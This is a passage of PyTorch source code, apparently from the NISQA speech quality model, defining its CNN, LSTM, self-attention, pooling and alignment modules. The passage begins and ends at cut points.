pool_2=cnn_pool_2, pool_3=cnn_pool_3, fc_out_h=cnn_fc_out_h, ) self.time_dependency = TimeDependency( input_size=self.cnn.model.fan_out, td=td, sa_d_model=td_sa_d_model, sa_nhead=td_sa_nhead, sa_pos_enc=td_sa_pos_enc, sa_num_layers=td_sa_num_layers, sa_h=td_sa_h, sa_dropout=td_sa_dropout, lstm_h=td_lstm_h, lstm_num_layers=td_lstm_num_layers, lstm_dropout=td_lstm_dropout, lstm_bidirectional=td_lstm_bidirectional ) self.time_dependency_2 = TimeDependency( input_size=self.time_dependency.fan_out, td=td_2, sa_d_model=td_2_sa_d_model, sa_nhead=td_2_sa_nhead, sa_pos_enc=td_2_sa_pos_enc, sa_num_layers=td_2_sa_num_layers, sa_h=td_2_sa_h, sa_dropout=td_2_sa_dropout, lstm_h=td_2_lstm_h, lstm_num_layers=td_2_lstm_num_layers, lstm_dropout=td_2_lstm_dropout, lstm_bidirectional=td_2_lstm_bidirectional ) pool = Pooling( self.time_dependency.fan_out, output_size=1, pool=pool, att_h=pool_att_h, att_dropout=pool_att_dropout, ) self.pool_layers = self._get_clones(pool, 2) def _get_clones(self, module, N): return nn.ModuleList([copy.deepcopy(module) for i in range(N)]) def forward(self, x, n_wins): # import pdb; pdb.set_trace() x = self.cnn(x, n_wins) x, n_wins = self.time_dependency(x, n_wins) x, n_wins = self.time_dependency_2(x, n_wins) out = [mod(x, n_wins) for mod in self.pool_layers] out = torch.cat(out, dim=1) return out # class NISQA_DIM(nn.Module): ''' NISQA_DIM: The main speech quality model with speech quality dimension estimation (MOS, Noisiness, Coloration, Discontinuity, and Loudness). The module loads the submodules for framewise modelling (e.g. CNN), time-dependency modelling (e.g. Self-Attention or LSTM), and pooling (e.g. max-pooling or attention-pooling) ''' def __init__(self, ms_seg_length=15, ms_n_mels=48, cnn_model='adapt', cnn_c_out_1=16, cnn_c_out_2=32, cnn_c_out_3=64, cnn_kernel_size=3, cnn_dropout=0.2, cnn_pool_1=[24,7], cnn_pool_2=[12,5], cnn_pool_3=[6,3], cnn_fc_out_h=None, td='self_att', td_sa_d_model=64, td_sa_nhead=1, td_sa_pos_enc=None, td_sa_num_layers=2, td_sa_h=64, td_sa_dropout=0.1, td_lstm_h=128, td_lstm_num_layers=1, td_lstm_dropout=0, td_lstm_bidirectional=True, td_2='skip', td_2_sa_d_model=None, td_2_sa_nhead=None, td_2_sa_pos_enc=None, td_2_sa_num_layers=None, td_2_sa_h=None, td_2_sa_dropout=None, td_2_lstm_h=None, td_2_lstm_num_layers=None, td_2_lstm_dropout=None, td_2_lstm_bidirectional=None, pool='att', pool_att_h=128, pool_att_dropout=0.1, ): super().__init__() self.name = 'NISQA_DIM' self.cnn = Framewise( cnn_model, ms_seg_length=ms_seg_length, ms_n_mels=ms_n_mels, c_out_1=cnn_c_out_1, c_out_2=cnn_c_out_2, c_out_3=cnn_c_out_3, kernel_size=cnn_kernel_size, dropout=cnn_dropout, pool_1=cnn_pool_1, pool_2=cnn_pool_2, pool_3=cnn_pool_3, fc_out_h=cnn_fc_out_h, ) self.time_dependency = TimeDependency( input_size=self.cnn.model.fan_out, td=td, sa_d_model=td_sa_d_model, sa_nhead=td_sa_nhead, sa_pos_enc=td_sa_pos_enc, sa_num_layers=td_sa_num_layers, sa_h=td_sa_h, sa_dropout=td_sa_dropout, lstm_h=td_lstm_h, lstm_num_layers=td_lstm_num_layers, lstm_dropout=td_lstm_dropout, lstm_bidirectional=td_lstm_bidirectional ) self.time_dependency_2 = TimeDependency( input_size=self.time_dependency.fan_out, td=td_2, sa_d_model=td_2_sa_d_model, sa_nhead=td_2_sa_nhead, sa_pos_enc=td_2_sa_pos_enc, sa_num_layers=td_2_sa_num_layers, sa_h=td_2_sa_h, sa_dropout=td_2_sa_dropout, lstm_h=td_2_lstm_h, lstm_num_layers=td_2_lstm_num_layers, lstm_dropout=td_2_lstm_dropout, lstm_bidirectional=td_2_lstm_bidirectional ) pool = Pooling( self.time_dependency.fan_out, output_size=1, pool=pool, att_h=pool_att_h, att_dropout=pool_att_dropout, ) self.pool_layers = self._get_clones(pool, 5) def _get_clones(self, module, N): return nn.ModuleList([copy.deepcopy(module) for i in range(N)]) def forward(self, x, n_wins): x = self.cnn(x, n_wins) x, n_wins = self.time_dependency(x, n_wins) x, n_wins = self.time_dependency_2(x, n_wins) out = [mod(x, n_wins) for mod in self.pool_layers] out = torch.cat(out, dim=1) return out # class NISQA_DE(nn.Module): ''' NISQA: The main speech quality model for double-ended prediction. The module loads the submodules for framewise modelling (e.g. CNN), time-dependency modelling (e.g. Self-Attention or LSTM), time-alignment, feature fusion and pooling (e.g. max-pooling or attention-pooling) ''' def __init__(self, ms_seg_length=15, ms_n_mels=48, cnn_model='adapt', cnn_c_out_1=16, cnn_c_out_2=32, cnn_c_out_3=64, cnn_kernel_size=3, cnn_dropout=0.2, cnn_pool_1=[24,7], cnn_pool_2=[12,5], cnn_pool_3=[6,3], cnn_fc_out_h=None, td='self_att', td_sa_d_model=64, td_sa_nhead=1, td_sa_pos_enc=None, td_sa_num_layers=2, td_sa_h=64, td_sa_dropout=0.1, td_lstm_h=128, td_lstm_num_layers=1, td_lstm_dropout=0, td_lstm_bidirectional=True, td_2='skip', td_2_sa_d_model=None, td_2_sa_nhead=None, td_2_sa_pos_enc=None, td_2_sa_num_layers=None, td_2_sa_h=None, td_2_sa_dropout=None, td_2_lstm_h=None, td_2_lstm_num_layers=None, td_2_lstm_dropout=None, td_2_lstm_bidirectional=None, pool='att', pool_att_h=128, pool_att_dropout=0.1, de_align = 'dot', de_align_apply = 'hard', de_fuse_dim = None, de_fuse = True, ): super().__init__() self.name = 'NISQA_DE' self.cnn = Framewise( cnn_model, ms_seg_length=ms_seg_length, ms_n_mels=ms_n_mels, c_out_1=cnn_c_out_1, c_out_2=cnn_c_out_2, c_out_3=cnn_c_out_3, kernel_size=cnn_kernel_size, dropout=cnn_dropout, pool_1=cnn_pool_1, pool_2=cnn_pool_2, pool_3=cnn_pool_3, fc_out_h=cnn_fc_out_h, ) self.time_dependency = TimeDependency( input_size=self.cnn.model.fan_out, td=td, sa_d_model=td_sa_d_model, sa_nhead=td_sa_nhead, sa_pos_enc=td_sa_pos_enc, sa_num_layers=td_sa_num_layers, sa_h=td_sa_h, sa_dropout=td_sa_dropout, lstm_h=td_lstm_h, lstm_num_layers=td_lstm_num_layers, lstm_dropout=td_lstm_dropout, lstm_bidirectional=td_lstm_bidirectional ) self.align = Alignment( de_align, de_align_apply, q_dim=self.time_dependency.fan_out, y_dim=self.time_dependency.fan_out, ) self.fuse = Fusion( in_feat=self.time_dependency.fan_out, fuse_dim=de_fuse_dim, fuse=de_fuse, ) self.time_dependency_2 = TimeDependency( input_size=self.fuse.fan_out, td=td_2, sa_d_model=td_2_sa_d_model, sa_nhead=td_2_sa_nhead, sa_pos_enc=td_2_sa_pos_enc, sa_num_layers=td_2_sa_num_layers, sa_h=td_2_sa_h, sa_dropout=td_2_sa_dropout, lstm_h=td_2_lstm_h, lstm_num_layers=td_2_lstm_num_layers, lstm_dropout=td_2_lstm_dropout, lstm_bidirectional=td_2_lstm_bidirectional ) self.pool = Pooling( self.time_dependency_2.fan_out, output_size=1, pool=pool, att_h=pool_att_h, att_dropout=pool_att_dropout, ) def _split_ref_deg(self, x, n_wins): (x, y) = torch.chunk(x, 2, dim=2) (n_wins_x, n_wins_y) = torch.chunk(n_wins, 2, dim=1) n_wins_x = n_wins_x.view(-1) n_wins_y = n_wins_y.view(-1) return x, y, n_wins_x, n_wins_y def forward(self, x, n_wins): x, y, n_wins_x, n_wins_y = self._split_ref_deg(x, n_wins) x = self.cnn(x, n_wins_x) y = self.cnn(y, n_wins_y) x, n_wins_x = self.time_dependency(x, n_wins_x) y, n_wins_y = self.time_dependency(y, n_wins_y) y = self.align(x, y, n_wins_y) x = self.fuse(x, y) x, n_wins_x = self.time_dependency_2(x, n_wins_x) x = self.pool(x, n_wins_x) return x #%% Framewise class Framewise(nn.Module): ''' Framewise: The main framewise module. It loads either a CNN or feed-forward network for framewise modelling of the Mel-spec segments. This module can also be skipped by loading the SkipCNN module. There are two CNN modules available. AdaptCNN with adaptive maxpooling and the StandardCNN module. However, they could also be replaced with new modules, such as PyTorch implementations of ResNet or Alexnet. ''' def __init__( self, cnn_model, ms_seg_length=15, ms_n_mels=48, c_out_1=16, c_out_2=32, c_out_3=64, kernel_size=3, dropout=0.2, pool_1=[24,7], pool_2=[12,5], pool_3=[6,3], fc_out_h=None, ): super().__init__() if cnn_model=='adapt': self.model = AdaptCNN( input_channels=1, c_out_1=c_out_1, c_out_2=c_out_2, c_out_3=c_out_3, kernel_size=kernel_size, dropout=dropout, pool_1=pool_1, pool_2=pool_2, pool_3=pool_3, fc_out_h=fc_out_h, ) elif cnn_model=='standard': assert ms_n_mels == 48, "ms_n_mels is {} and should be 48, use adaptive model or change ms_n_mels".format(ms_n_mels) assert ms_seg_length == 15, "ms_seg_len is {} should be 15, use adaptive model or change ms_seg_len".format(ms_seg_length) assert ((kernel_size == 3) or (kernel_size == (3,3))), "cnn_kernel_size is {} should be 3, use adaptive model or change cnn_kernel_size".format(kernel_size) self.model = StandardCNN( input_channels=1, c_out_1=c_out_1, c_out_2=c_out_2, c_out_3=c_out_3, kernel_size=kernel_size, dropout=dropout, fc_out_h=fc_out_h, ) elif cnn_model=='dff': self.model = DFF(ms_seg_length, ms_n_mels, dropout, fc_out_h) elif (cnn_model is None) or (cnn_model=='skip'): self.model = SkipCNN(ms_seg_length, ms_n_mels, fc_out_h) elif cnn_model == 'res': self.model = ResCNN(input_channels=1, c_out_1=c_out_1, c_out_2=c_out_2, c_out_3=c_out_3, kernel_size=kernel_size, dropout=dropout, pool_1=pool_1, pool_2=pool_2, pool_3=pool_3, fc_out_h=fc_out_h,) else: raise NotImplementedError('Framwise model not available') def forward(self, x, n_wins): (bs, length, channels, height, width) = x.shape x_packed = pack_padded_sequence( x, n_wins.cpu(), batch_first=True, enforce_sorted=False ) x = self.model(x_packed.data) x = x_packed._replace(data=x) x, _ = pad_packed_sequence( x, batch_first=True, padding_value=0.0, total_length=n_wins.max()) return x class SkipCNN(nn.Module): ''' SkipCNN: Can be used to skip the framewise modelling stage and directly apply an LSTM or Self-Attention network. ''' def __init__( self, cnn_seg_length, ms_n_mels, fc_out_h ): super().__init__() self.name = 'SkipCNN' self.cnn_seg_length = cnn_seg_length self.ms_n_mels = ms_n_mels self.fan_in = cnn_seg_length*ms_n_mels self.bn = nn.BatchNorm2d( 1 ) if fc_out_h is not None: self.linear = nn.Linear(self.fan_in, fc_out_h) self.fan_out = fc_out_h else: self.linear = nn.Identity() self.fan_out = self.fan_in def forward(self, x): x = self.bn(x) x = x.view(-1, self.fan_in) x = self.linear(x) return x class DFF(nn.Module): ''' DFF: Deep Feed-Forward network that was used as baseline framwise model as comparision to the CNN. ''' def __init__(self, cnn_seg_length, ms_n_mels, dropout, fc_out_h=4096, ): super().__init__() self.name = 'DFF' self.dropout_rate = dropout self.fc_out_h = fc_out_h self.fan_out = fc_out_h self.cnn_seg_length = cnn_seg_length self.ms_n_mels = ms_n_mels self.fan_in = cnn_seg_length*ms_n_mels self.lin1 = nn.Linear(self.fan_in, self.fc_out_h) self.lin2 = nn.Linear(self.fc_out_h, self.fc_out_h) self.lin3 = nn.Linear(self.fc_out_h, self.fc_out_h) self.lin4 = nn.Linear(self.fc_out_h, self.fc_out_h) self.bn1 = nn.BatchNorm2d(1) self.bn2 = nn.BatchNorm1d( self.fc_out_h ) self.bn3 = nn.BatchNorm1d( self.fc_out_h ) self.bn4 = nn.BatchNorm1d( self.fc_out_h ) self.bn5 = nn.BatchNorm1d( self.fc_out_h ) self.dropout = nn.Dropout(p=dropout) def forward(self, x): x = self.bn1(x) x = x.view(-1, self.fan_in) x = F.relu( self.bn2( self.lin1(x) ) ) x = self.dropout(x) x = F.relu( self.bn3( self.lin2(x) ) ) x = self.dropout(x) x = F.relu( self.bn4( self.lin3(x) ) ) x = self.dropout(x) x = F.relu( self.bn5( self.lin4(x) ) ) return x class AdaptCNN(nn.Module): ''' AdaptCNN: CNN with adaptive maxpooling that can be used as framewise model. Overall, it has six convolutional layers. This CNN module is more flexible than the StandardCNN that requires a fixed input dimension of 48x15. ''' def __init__(self, input_channels, c_out_1, c_out_2, c_out_3, kernel_size, dropout, pool_1, pool_2, pool_3, fc_out_h=20, ): super().__init__() self.name = 'CNN_adapt' self.input_channels = input_channels self.c_out_1 = c_out_1 self.c_out_2 = c_out_2 self.c_out_3 = c_out_3 self.kernel_size = kernel_size self.pool_1 = pool_1 self.pool_2 = pool_2 self.pool_3 = pool_3 self.dropout_rate = dropout self.fc_out_h = fc_out_h self.dropout = nn.Dropout2d(p=self.dropout_rate) if isinstance(self.kernel_size, int): self.kernel_size = (self.kernel_size, self.kernel_size) # Set kernel width of last conv layer to last pool width to # downsample width to one. self.kernel_size_last = (self.kernel_size[0], self.pool_3[1]) # kernel_size[1]=1 can be used for seg_length=1 -> corresponds to # 1D conv layer, no width padding needed. if self.kernel_size[1] == 1: self.cnn_pad = (1,0) else: self.cnn_pad = (1,1) self.conv1 = nn.Conv2d( self.input_channels, self.c_out_1, self.kernel_size, padding = self.cnn_pad) self.bn1 = nn.BatchNorm2d( self.conv1.out_channels ) self.conv2 = nn.Conv2d( self.conv1.out_channels, self.c_out_2, self.kernel_size, padding = self.cnn_pad) self.bn2 = nn.BatchNorm2d( self.conv2.out_channels ) self.conv3 = nn.Conv2d( self.conv2.out_channels, self.c_out_3, self.kernel_size, padding = self.cnn_pad) self.bn3 = nn.BatchNorm2d( self.conv3.out_channels ) self.conv4 = nn.Conv2d( self.conv3.out_channels, self.c_out_3, self.kernel_size, padding = self.cnn_pad) self.bn4 = nn.BatchNorm2d( self.conv4.out_channels ) self.conv5 = nn.Conv2d( self.conv4.out_channels, self.c_out_3, self.kernel_size, padding = self.cnn_pad) self.bn5 = nn.BatchNorm2d( self.conv5.out_channels ) self.conv6 = nn.Conv2d( self.conv5.out_channels, self.c_out_3, self.kernel_size_last, padding = (1,0)) self.bn6 = nn.BatchNorm2d( self.conv6.out_channels ) if self.fc_out_h: self.fc = nn.Linear(self.conv6.out_channels * self.pool_3[0], self.fc_out_h) self.fan_out = self.fc_out_h else: self.fan_out = (self.conv6.out_channels * self.pool_3[0]) def forward(self, x): x = F.relu( self.bn1( self.conv1(x) ) ) x = F.adaptive_max_pool2d(x, output_size=(self.pool_1)) x = F.relu( self.bn2( self.conv2(x) ) ) x = F.adaptive_max_pool2d(x, output_size=(self.pool_2)) x = self.dropout(x) x = F.relu( self.bn3( self.conv3(x) ) ) x = self.dropout(x) x = F.relu( self.bn4( self.conv4(x) ) ) x = F.adaptive_max_pool2d(x, output_size=(self.pool_3)) x = self.dropout(x) x = F.relu( self.bn5( self.conv5(x) ) ) x = self.dropout(x) x = F.relu( self.bn6( self.conv6(x) ) ) x = x.view(-1, self.conv6.out_channels * self.pool_3[0]) if self.fc_out_h: x = self.fc( x ) return x class StandardCNN(nn.Module): ''' StandardCNN: CNN with fixed maxpooling that can be used as framewise model. Overall, it has six convolutional layers. This CNN module requires a fixed input dimension of 48x15. ''' def __init__( self, input_channels, c_out_1, c_out_2, c_out_3, kernel_size, dropout, fc_out_h=None ): super().__init__() self.name = 'CNN_standard' self.input_channels = input_channels self.c_out_1 = c_out_1 self.c_out_2 = c_out_2 self.c_out_3 = c_out_3 self.kernel_size = kernel_size self.pool_size = 2 self.dropout_rate = dropout self.fc_out_h = fc_out_h self.output_width = 2 # input width 15 pooled 3 times self.output_height = 6 # input height 48 pooled 3 times self.dropout = nn.Dropout2d(p=self.dropout_rate) self.pool_first = nn.MaxPool2d( self.pool_size, stride = self.pool_size, padding = (0,1)) self.pool = nn.MaxPool2d( self.pool_size, stride = self.pool_size, padding = 0) self.conv1 = nn.Conv2d( self.input_channels, self.c_out_1, self.kernel_size, padding = 1) self.bn1 = nn.BatchNorm2d( self.conv1.out_channels ) self.conv2 = nn.Conv2d( self.conv1.out_channels, self.c_out_2, self.kernel_size, padding = 1) self.bn2 = nn.BatchNorm2d( self.conv2.out_channels ) self.conv3 = nn.Conv2d( self.conv2.out_channels, self.c_out_3, self.kernel_size, padding = 1) self.bn3 = nn.BatchNorm2d( self.conv3.out_channels ) self.conv4 = nn.Conv2d( self.conv3.out_channels, self.c_out_3, self.kernel_size, padding = 1) self.bn4 = nn.BatchNorm2d( self.conv4.out_channels ) self.conv5 = nn.Conv2d( self.conv4.out_channels, self.c_out_3, self.kernel_size, padding = 1) self.bn5 = nn.BatchNorm2d( self.conv5.out_channels ) self.conv6 = nn.Conv2d( self.conv5.out_channels, self.c_out_3, self.kernel_size, padding = 1) self.bn6 = nn.BatchNorm2d( self.conv6.out_channels ) if self.fc_out_h: self.fc_out = nn.Linear(self.conv6.out_channels * self.output_height * self.output_width, self.fc_out_h) self.fan_out = self.fc_out_h else: self.fan_out = (self.conv6.out_channels * self.output_height * self.output_width) def forward(self, x): x = F.relu( self.bn1( self.conv1(x) ) ) x = self.pool_first( x ) x = F.relu( self.bn2( self.conv2(x) ) ) x = self.pool( x ) x = self.dropout(x) x = F.relu( self.bn3( self.conv3(x) ) ) x = self.dropout(x) x = F.relu( self.bn4( self.conv4(x) ) ) x = self.pool( x ) x = self.dropout(x) x = F.relu( self.bn5( self.conv5(x) ) ) x = self.dropout(x) x = F.relu( self.bn6( self.conv6(x) ) ) x = x.view(-1, self.conv6.out_channels * self.output_height * self.output_width) if self.fc_out_h: x = self.fc_out( x ) return x class ResBlock(nn.Module): def __init__(self, in_channels: int, out_channels: int, leaky_relu_slope=0.01): super().__init__() self.downsample = in_channels != out_channels # BN / LReLU / MaxPool layer before the conv layer - see Figure 1b in the paper self.pre_conv = nn.Sequential( nn.BatchNorm2d(num_features=in_channels), nn.LeakyReLU(leaky_relu_slope, inplace=True), # nn.MaxPool2d(kernel_size=(1, 2)), # apply downsampling on the y axis only ) # conv layers self.conv = nn.Sequential( nn.Conv2d(in_channels=in_channels, out_channels=out_channels, kernel_size=3, padding=1, bias=False), nn.BatchNorm2d(out_channels), nn.LeakyReLU(leaky_relu_slope, inplace=True), nn.Conv2d(out_channels, out_channels, 3, padding=1, bias=False), ) # 1 x 1 convolution layer to match the feature dimensions self.conv1by1 = None if self.downsample: self.conv1by1 = nn.Conv2d(in_channels, out_channels, 1, bias=False) def forward(self, x): x = self.pre_conv(x) if self.downsample: x = self.conv(x) + self.conv1by1(x) else: x = self.conv(x) + x return x class ResCNN(nn.Module): def __init__( self, input_channels, c_out_1, c_out_2, c_out_3, kernel_size, dropout, pool_1, pool_2, pool_3, fc_out_h=20, ): super().__init__() self.name = 'CNN_res' self.input_channels = input_channels self.c_out_1 = c_out_1 self.c_out_2 = c_out_2 self.c_out_3 = c_out_3 self.kernel_size = kernel_size self.pool_1 = pool_1 self.pool_2 = pool_2 self.pool_3 = pool_3 self.dropout_rate = dropout self.fc_out_h = fc_out_h self.conv_block = nn.Sequential( nn.Conv2d(in_channels=input_channels, out_channels=c_out_1, kernel_size=3, padding=1, bias=False), nn.BatchNorm2d(num_features=c_out_1), nn.LeakyReLU(0.01, inplace=True), nn.Conv2d(c_out_1, c_out_1, 3, padding=1, bias=False), ) # res blocks self.res_block1 = ResBlock(in_channels=c_out_1, out_channels=c_out_2) self.res_block2 = ResBlock(in_channels=c_out_2, out_channels=c_out_3) self.res_block3 = ResBlock(in_channels=c_out_3, out_channels=c_out_3) self.post_conv_block = nn.Sequential( nn.Conv2d(in_channels=c_out_3, out_channels=c_out_3, kernel_size=3, padding=1, bias=False), nn.BatchNorm2d(num_features=c_out_3), nn.LeakyReLU(0.01, inplace=True), nn.Conv2d(c_out_3, c_out_3, 3, padding=(1,0), bias=False), ) if self.fc_out_h: self.fc = nn.Linear(c_out_3 * self.pool_3[0], self.fc_out_h) self.fan_out = self.fc_out_h else: self.fan_out = (c_out_3 * self.pool_3[0]) def forward(self, x): x = self.conv_block(x) x = self.res_block1(x) x = F.adaptive_max_pool2d(x, output_size=(self.pool_1)) x = self.res_block2(x) x = F.adaptive_max_pool2d(x, output_size=(self.pool_2)) x = self.res_block3(x) x = F.adaptive_max_pool2d(x, output_size=(self.pool_3)) x = self.post_conv_block(x) x = x.view(-1, self.c_out_3 * self.pool_3[0]) if self.fc_out_h: x = self.fc(x) # import pdb; pdb.set_trace() return x #%% Time Dependency class TimeDependency(nn.Module): ''' TimeDependency: The main time-dependency module. It loads either an LSTM or self-attention network for time-dependency modelling of the framewise features. This module can also be skipped. ''' def __init__(self, input_size, td='self_att', sa_d_model=512, sa_nhead=8, sa_pos_enc=None, sa_num_layers=6, sa_h=2048, sa_dropout=0.1, lstm_h=128, lstm_num_layers=1, lstm_dropout=0, lstm_bidirectional=True, ): super().__init__() if td=='self_att': self.model = SelfAttention( input_size=input_size, d_model=sa_d_model, nhead=sa_nhead, pos_enc=sa_pos_enc, num_layers=sa_num_layers, sa_h=sa_h, dropout=sa_dropout, activation="relu" ) self.fan_out = sa_d_model elif td=='lstm': self.model = LSTM( input_size, lstm_h=lstm_h, num_layers=lstm_num_layers, dropout=lstm_dropout, bidirectional=lstm_bidirectional, ) self.fan_out = self.model.fan_out elif (td is None) or (td=='skip'): self.model = self._skip self.fan_out = input_size else: raise NotImplementedError('Time dependency option not available') def _skip(self, x, n_wins): return x, n_wins def forward(self, x, n_wins): x, n_wins = self.model(x, n_wins) return x, n_wins class LSTM(nn.Module): ''' LSTM: The main LSTM module that can be used as a time-dependency model. ''' def __init__(self, input_size, lstm_h=128, num_layers=1, dropout=0.1, bidirectional=True ): super().__init__() self.lstm = nn.LSTM( input_size = input_size, hidden_size = lstm_h, num_layers = num_layers, dropout = dropout, batch_first = True, bidirectional = bidirectional ) if bidirectional: num_directions = 2 else: num_directions = 1 self.fan_out = num_directions*lstm_h def forward(self, x, n_wins): x = pack_padded_sequence( x, n_wins.cpu(), batch_first=True, enforce_sorted=False ) self.lstm.flatten_parameters() x = self.lstm(x)[0] x, _ = pad_packed_sequence( x, batch_first=True, padding_value=0.0, total_length=n_wins.max()) return x, n_wins class SelfAttention(nn.Module): ''' SelfAttention: The main SelfAttention module that can be used as a time-dependency model. ''' def __init__(self, input_size, d_model=512, nhead=8, pool_size=3, pos_enc=None, num_layers=6, sa_h=2048, dropout=0.1, activation="relu" ): super().__init__() encoder_layer = SelfAttentionLayer(d_model, nhead, pool_size, sa_h, dropout, activation) self.norm1 = nn.LayerNorm(d_model) self.linear = nn.Linear(input_size, d_model) self.layers = self._get_clones(encoder_layer, num_layers) self.num_layers = num_layers self.d_model = d_model self.nhead = nhead if pos_enc: self.pos_encoder = PositionalEncoding(d_model, dropout) else: self.pos_encoder = nn.Identity() self._reset_parameters() def _get_clones(self, module, N): return nn.ModuleList([copy.deepcopy(module) for i in range(N)]) def _reset_parameters(self): for p in self.parameters(): if p.dim() > 1: nn.init.xavier_uniform_(p) def forward(self, src, n_wins=None): src = self.linear(src) output = src.transpose(1,0) output = self.norm1(output) output = self.pos_encoder(output) for mod in self.layers: output, n_wins = mod(output, n_wins=n_wins) return output.transpose(1,0), n_wins class SelfAttentionLayer(nn.Module): ''' SelfAttentionLayer: The SelfAttentionLayer that is used by the SelfAttention module. ''' def __init__(self, d_model, nhead, pool_size=1, sa_h=2048, dropout=0.1, activation="relu"): super().__init__() self.self_attn = nn.MultiheadAttention(d_model, nhead, dropout=dropout) self.linear1 = nn.Linear(d_model, sa_h) self.dropout = nn.Dropout(dropout) self.linear2 = nn.Linear(sa_h, d_model) self.norm1 = nn.LayerNorm(d_model) self.norm2 = nn.LayerNorm(d_model) self.dropout1 = nn.Dropout(dropout) self.dropout2 = nn.Dropout(dropout) self.activation = self._get_activation_fn(activation) def _get_activation_fn(self, activation): if activation == "relu": return F.relu elif activation == "gelu": return F.gelu def forward(self, src, n_wins=None): if n_wins is not None: mask = ~((torch.arange(src.shape[0])[None, :]).to(src.device) < n_wins[:, None].to(torch.long).to(src.device)) else: mask = None src2 = self.self_attn(src, src, src, key_padding_mask=mask)[0] src = src + self.dropout1(src2) src = self.norm1(src) src2 = self.linear2(self.dropout(self.activation(self.linear1(src)))) src = src + self.dropout2(src2) src = self.norm2(src) return src, n_wins class PositionalEncoding(nn.Module): ''' PositionalEncoding: PositionalEncoding taken from the PyTorch Transformer tutorial. Can be applied to the SelfAttention module. However, it did not improve the results in previous experiments. ''' def __init__(self, d_model, dropout=0.1, max_len=3000): super(PositionalEncoding, self).__init__() self.dropout = nn.Dropout(p=dropout) pe = torch.zeros(max_len, d_model) position = torch.arange(0, max_len, dtype=torch.float).unsqueeze(1) div_term = torch.exp(torch.arange(0, d_model, 2).float() * (-math.log(10000.0) / d_model)) pe[:, 0::2] = torch.sin(position * div_term) pe[:, 1::2] = torch.cos(position * div_term) pe = pe.unsqueeze(0).transpose(0, 1) self.register_buffer('pe', pe) def forward(self, x): x = x + self.pe[:x.size(0), :] return self.dropout(x) #%% Pooling class Pooling(nn.Module): ''' Pooling: Main Pooling module. It can load either attention-pooling, average pooling, maxpooling, or last-step pooling. In case of bidirectional LSTMs last-step-bi pooling should be used instead of last-step pooling. ''' def __init__(self, d_input, output_size=1, pool='att', att_h=None, att_dropout=0, ): super().__init__() if pool=='att': if att_h is None: self.model = PoolAtt(d_input, output_size) else: self.model = PoolAttFF(d_input, output_size, h=att_h, dropout=att_dropout) elif pool=='last_step_bi': self.model = PoolLastStepBi(d_input, output_size) elif pool=='last_step': self.model = PoolLastStep(d_input, output_size) elif pool=='max': self.model = PoolMax(d_input, output_size) elif pool=='avg': self.model = PoolAvg(d_input, output_size) else: raise NotImplementedError('Pool option not available') def forward(self, x, n_wins): return self.model(x, n_wins) class PoolLastStepBi(nn.Module): ''' PoolLastStepBi: last step pooling for the case of bidirectional LSTM ''' def __init__(self, input_size, output_size): super().__init__() self.linear = nn.Linear(input_size, output_size) def forward(self, x, n_wins=None): x = x.view(x.shape[0], n_wins.max(), 2, x.shape[-1]//2) x = torch.cat( (x[torch.arange(x.shape[0]), n_wins.type(torch.long)-1, 0, :], x[:,0,1,:]), dim=1 ) x = self.linear(x) return x class PoolLastStep(nn.Module): ''' PoolLastStep: last step pooling can be applied to any one-directional sequence. ''' def __init__(self, input_size, output_size): super().__init__() self.linear = nn.Linear(input_size, output_size) def forward(self, x, n_wins=None): x = x[torch.arange(x.shape[0]), n_wins.type(torch.long)-1] x = self.linear(x) return x class PoolAtt(torch.nn.Module): ''' PoolAtt: Attention-Pooling module. ''' def __init__(self, d_input, output_size): super().__init__() self.linear1 = nn.Linear(d_input, 1) self.linear2 = nn.Linear(d_input, output_size) def forward(self, x, n_wins): att = self.linear1(x) att = att.transpose(2,1) mask = torch.arange(att.shape[2])[None, :] < n_wins[:, None].to('cpu').to(torch.long) att[~mask.unsqueeze(1)] = float("-Inf") att = F.softmax(att, dim=2) x = torch.bmm(att, x) x = x.squeeze(1) x = self.linear2(x) return x class PoolAttFF(torch.nn.Module): ''' PoolAttFF: Attention-Pooling module with additonal feed-forward network. ''' def __init__(self, d_input, output_size, h, dropout=0.1): super().__init__() self.linear1 = nn.Linear(d_input, h) self.linear2 = nn.Linear(h, 1) self.linear3 = nn.Linear(d_input, output_size) self.activation = F.relu self.dropout = nn.Dropout(dropout) def forward(self, x, n_wins): att = self.linear2(self.dropout(self.activation(self.linear1(x)))) att = att.transpose(2,1) mask = torch.arange(att.shape[2])[None, :] < n_wins[:, None].to('cpu').to(torch.long) att[~mask.unsqueeze(1)] = float("-Inf") att = F.softmax(att, dim=2) x = torch.bmm(att, x) x = x.squeeze(1) x = self.linear3(x) return x class PoolAvg(torch.nn.Module): ''' PoolAvg: Average pooling that consideres masked time-steps. ''' def __init__(self, d_input, output_size): super().__init__() self.linear = nn.Linear(d_input, output_size) def forward(self, x, n_wins): mask = torch.arange(x.shape[1])[None, :] < n_wins[:, None].to('cpu').to(torch.long) mask = ~mask.unsqueeze(2).to(x.device) x.masked_fill_(mask, 0) x = torch.div(x.sum(1), n_wins.unsqueeze(1)) x = self.linear(x) return x class PoolMax(torch.nn.Module): ''' PoolMax: Max-pooling that consideres masked time-steps. ''' def __init__(self, d_input, output_size): super().__init__() self.linear = nn.Linear(d_input, output_size) def forward(self, x, n_wins): mask = torch.arange(x.shape[1])[None, :] < n_wins[:, None].to('cpu').to(torch.long) mask = ~mask.unsqueeze(2).to(x.device) x.masked_fill_(mask, float("-Inf")) x = x.max(1)[0] x = self.linear(x) return x #%% Alignment class Alignment(torch.nn.Module): ''' Alignment: Alignment module for the double-ended NISQA_DE model. It supports five different alignment mechanisms. ''' def __init__(self, att_method, apply_att_method, q_dim=None, y_dim=None, ): super().__init__() # Attention method -------------------------------------------------------- if att_method=='bahd': self.att = AttBahdanau( q_dim=q_dim, y_dim=y_dim) elif att_method=='luong': self.att = AttLuong( q_dim=q_dim, y_dim=y_dim) elif att_method=='dot': self.att = AttDot() elif att_method=='cosine': self.att = AttCosine() elif att_method=='distance': self.att = AttDistance() elif (att_method=='none') or (att_method is None): self.att = None else: raise NotImplementedError # Apply method ---------------------------------------------------------- if apply_att_method=='soft': self.apply_att = ApplySoftAttention() elif apply_att_method=='hard': self.apply_att = ApplyHardAttention() else: raise NotImplementedError def _mask_attention(self, att, y, n_wins): mask = torch.arange(att.shape[2])[None, :] < n_wins[:, None].to('cpu').to(torch.long) mask = mask.unsqueeze(1).expand_as(att) att[~mask] = float("-Inf") def forward(self, query, y, n_wins_y): if self.att is not None: att_score, sim = self.att(query, y) self._mask_attention(att_score, y, n_wins_y) att_score = F.softmax(att_score, dim=2) y = self.apply_att(y, att_score) return y class AttDot(torch.nn.Module): ''' AttDot: Dot attention 